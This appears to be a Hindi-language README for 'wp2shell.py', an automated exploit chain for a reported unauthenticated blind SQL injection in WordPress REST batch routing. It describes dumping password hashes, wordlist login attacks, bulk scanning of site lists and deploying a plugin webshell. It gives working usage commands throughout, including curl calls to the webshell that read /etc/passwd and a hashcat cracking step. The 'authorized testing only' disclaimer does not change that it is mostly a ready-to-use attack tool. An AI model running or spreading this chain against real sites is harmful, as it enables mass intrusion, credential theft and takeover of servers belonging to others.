
CVE-2026-63030 / CVE-2026-60137 के लिए स्वचालित एक्सप्लॉइट श्रृंखला — WordPress REST बैच रूट-कन्फ्यूज़न के माध्यम से बिना प्रमाणीकरण वाला ब्लाइंड SQLi। उपयोगकर्ता हैश डंप करता है, क्रेडेंशियल क्रैक करता है, वेबशेल तैनात करता है। एकल लक्ष्य और बल्क साइट सूचियों का समर्थन करता है। केवल अधिकृत सुरक्षा परीक्षण के लिए।
WordPress REST बैच रूट-कन्फ्यूज़न ब्लाइंड SQL इंजेक्शन — स्वचालित एक्सप्लॉइट श्रृंखला।
CVE-2026-63030 / CVE-2026-60137
| प्रभावित | WordPress 6.9.0 – 6.9.4 और 7.0.0 – 7.0.1 |
| फिक्स | WordPress 6.9.5 / 7.0.2 |
| Sink | author__not_in SQL, desync'd author_exclude पैरामीटर के माध्यम से |
| प्रमाणीकरण आवश्यक | कोई नहीं (बिना प्रमाणीकरण SQLi) |
केवल अधिकृत सुरक्षा परीक्षण के लिए।
WordPress REST API बैच एंडपॉइंट (/wp-json/batch/v1) नेस्टेड बैच अनुरोधों की अनुमति देता है। एक डबल-नेस्टेड desync पेलोड आंतरिक $matches / $validation ऐरे को शिफ्ट करता है, जिससे एक क्राफ्ट किया गया author_exclude मान बिना सैनिटाइज़ेशन के author__not_in SQL में रूट हो जाता है। यह बिना प्रमाणीकरण के ब्लाइंड boolean + timing SQL इंजेक्शन देता है।
एक्सप्लॉइट श्रृंखला — 4 चरण:
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
aiohttpcoloramapip install aiohttp colorama
एकल लक्ष्य
python wp2shell.py http://target.com
साइट सूची (प्रति पंक्ति एक URL)
python wp2shell.py sites.txt
साइट सूची + कस्टम पासवर्ड फ़ाइल
python wp2shell.py sites.txt -p pass.txt
ज्ञात क्रेडेंशियल्स (वर्डलिस्ट छोड़ें)
python wp2shell.py http://target.com --user admin --password admin123
टाइमिंग के साथ SQLi की पुष्टि करें
python wp2shell.py http://target.com --confirm-sqli
कोई प्रिटी permalinks नहीं
python wp2shell.py http://target.com --rest-route
Burp प्रॉक्सी के माध्यम से
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| फ़ाइल | सामग्री |
|---|---|
creds.txt | http://target=>user:pass (यदि क्रैक हुआ है तो प्लेनटेक्स्ट, नहीं तो हैश) |
webshell.txt | लाइव webshell URL |
VULNERABLE.txt | वे सभी लक्ष्य जहाँ चरण 1 ने भेद्यता की पुष्टि की |
सभी फ़ाइलें append होती हैं — परिणाम रनों के बीच जुड़ते रहते हैं।
webshell का उपयोग — webshell.txt में URL के अंत में ?cmd=COMMAND जोड़ें:
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
यदि वर्डलिस्ट चूक जाती है, तो creds.txt में निकाला गया हैश होता है:
hashcat -m 400 creds.txt wordlist.txt
फिर क्रैक किए गए पासवर्ड के साथ दोबारा चलाएँ:
python wp2shell.py http://target.com --user admin --password <plaintext>
सुरक्षित लोकल परीक्षण के लिए एक भेद्य WordPress 7.0.1 इंस्टेंस बनाता है।
पहला रन — वॉल्यूम बनाएँ और WordPress इंस्टॉल करें:
docker compose up -d db wordpress
docker compose run --rm wpcli
बाद के स्टार्ट:
docker compose up -d db wordpress
रोकें:
docker compose down
पूर्ण रीसेट (सभी डेटा मिटा देता है):
docker compose down -v
लैब के विरुद्ध एक्सप्लॉइट चलाएँ:
python wp2shell.py http://localhost:8080
WordPress 6.9.5 या 7.0.2 में अपडेट करें। यह फिक्स नेस्टेड अनुरोधों को भेजने से पहले बैच रूट को मान्य करता है, जिससे वह desync रुक जाता है जो SQL sink को उजागर करता है।
केवल उन सिस्टमों पर उपयोग के लिए जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है। अनधिकृत उपयोग अवैध है।
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|
target | — | URL (http://target) या साइट सूची फ़ाइल का पथ |
-p FILE | — | पासवर्ड सूची फ़ाइल (प्रति पंक्ति एक) |
--user | — | वर्डलिस्ट छोड़ें, इस उपयोगकर्ता नाम का उपयोग करें |
--password | — | वर्डलिस्ट छोड़ें, इस पासवर्ड का उपयोग करें |
--confirm-sqli | off | मार्कर जांच के बाद सक्रिय SQL टाइमिंग प्रोब भेजें |
--rest-route | off | /?rest_route=/batch/v1 का उपयोग करें (कोई प्रिटी permalinks नहीं) |
--sleep N | 3.0 | SQL SLEEP() विलंब सेकंड में |
--samples N | 3 | माध्यिका गणना के लिए टाइमिंग नमूना जोड़े |
--timeout N | 30.0 | HTTP अनुरोध समय समाप्ति |
--prefix PREFIX | wp_ | डेटाबेस तालिका उपसर्ग |
--proxy URL | — | HTTP/HTTPS प्रॉक्सी |
| URL | http://localhost:8080 |
| एडमिन | admin / admin123 |
| MySQL होस्ट | db |
| MySQL उपयोगकर्ता/पासवर्ड | wpuser / wppass |
| डेटाबेस | wordpress |